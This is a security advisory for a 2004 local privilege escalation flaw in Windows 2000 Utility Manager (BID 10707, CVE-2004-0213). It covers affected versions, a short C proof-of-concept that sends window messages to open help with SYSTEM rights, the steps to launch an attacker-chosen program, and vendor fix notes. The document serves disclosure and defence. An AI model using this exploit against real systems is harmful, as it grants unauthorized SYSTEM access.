BID:10707

Microsoft Windows Utility Manager Local Privilege Escalation Variant Vulnerability

Info

Microsoft Windows Utility Manager Local Privilege Escalation Variant Vulnerability

Bugtraq ID:	10707
Class:	Access Validation Error
CVE:	CVE-2004-0213
Remote:	No
Local:	Yes
Published:	Jul 13 2004 12:00AM
Updated:	Jul 12 2009 06:16AM
Credit:	Discovery is credited to Cesar Cerrudo.
Vulnerable:	Microsoft Windows 2000 Server SP4 Microsoft Windows 2000 Server SP3 Microsoft Windows 2000 Server SP2 Microsoft Windows 2000 Server SP1 Microsoft Windows 2000 Server + Avaya DefinityOne Media Servers + Avaya IP600 Media Servers + Avaya S3400 Message Application Server 0 + Avaya S8100 Media Servers 0 Microsoft Windows 2000 Professional SP4 Microsoft Windows 2000 Professional SP3 Microsoft Windows 2000 Professional SP2 Microsoft Windows 2000 Professional SP1 Microsoft Windows 2000 Professional Microsoft Windows 2000 Datacenter Server SP4 Microsoft Windows 2000 Datacenter Server SP3 Microsoft Windows 2000 Datacenter Server SP2 Microsoft Windows 2000 Datacenter Server SP1 Microsoft Windows 2000 Datacenter Server Microsoft Windows 2000 Advanced Server SP4 Microsoft Windows 2000 Advanced Server SP3 Microsoft Windows 2000 Advanced Server SP2 Microsoft Windows 2000 Advanced Server SP1 Microsoft Windows 2000 Advanced Server

Not Vulnerable:

Discussion

Microsoft Windows Utility Manager Local Privilege Escalation Variant Vulnerability

Microsoft Utility Manager is prone to a local privilege escalation vulnerability. It is reported that a local user may influence the Utility Manager into executing an attacker-supplied application with elevated privileges. The cause of this issue is that the Utility Manager will attempt to load context sensitive help without dropping privileges.

A local attacker may exploit this vulnerability to gain SYSTEM level privileges on the computer.

This vulnerability is similar to the issue reported in BID 10124. The vendor fixes for BID 10124 addressed the issue by removing access to context sensitive help from the Utility Manager GUI. However, the functionality to access context sensitive help is still present in the Utility Manager application itself.

Exploit / POC

Microsoft Windows Utility Manager Local Privilege Escalation Variant Vulnerability

The following exploit example was released:

//get window handle
lHandle=FindWindow(NULL, "Utility Manager");
//send right click on the app button in the taskbar or Alt+Space Bar
PostMessage(lHandle,0x313,NULL,NULL);
Sleep(100);
//send WM_COMMANDHELP 0x0365 lParam must be<>NULL
SendMessage(lHandle,0x365,NULL,0x1);

Once the winhlp32.exe file is loaded, it will ask the attacker if they wish to locate the umandlg.hlp help file. The attacker may then select an external application to be loaded in place of umandlg.hlp. It should be noted that this method of exploitation may not be sufficient on some systems, and additional measures may need to be taken to pass shellcode directly to the winhlp32.exe program.

Cesar Cerrudo has published an exploit (UtilManExploit2.c). An additional exploit (utilmaned1.c) was also published by kralor.

/data/vulnerabilities/exploits/UtilManExploit2.c
/data/vulnerabilities/exploits/utilmaned1.c
/data/vulnerabilities/exploits/utilManagerExploit3.c

Solution / Fix

Microsoft Windows Utility Manager Local Privilege Escalation Variant Vulnerability

Solution:
Microsoft has released a security bulletin and fixes for this issue:

Avaya has released an advisory that acknowledges this vulnerability for Avaya products. Avaya advise that customers follow the Microsoft recommendations to address this issue. Please see the referenced Avaya advisory at the following location for further details:
http://support.avaya.com/japple/css/japple?temp.groupID=128450&temp.selectedFamily=128451&temp.selectedProduct=154235&temp.selectedBucket=126655&temp.feedbackState=askForFeedback&temp.documentID=197331&PAGE=avaya.css.CSSLvl1Detail&executeTransaction=avaya.css.UsageUpdate()

Microsoft Windows 2000 Server SP2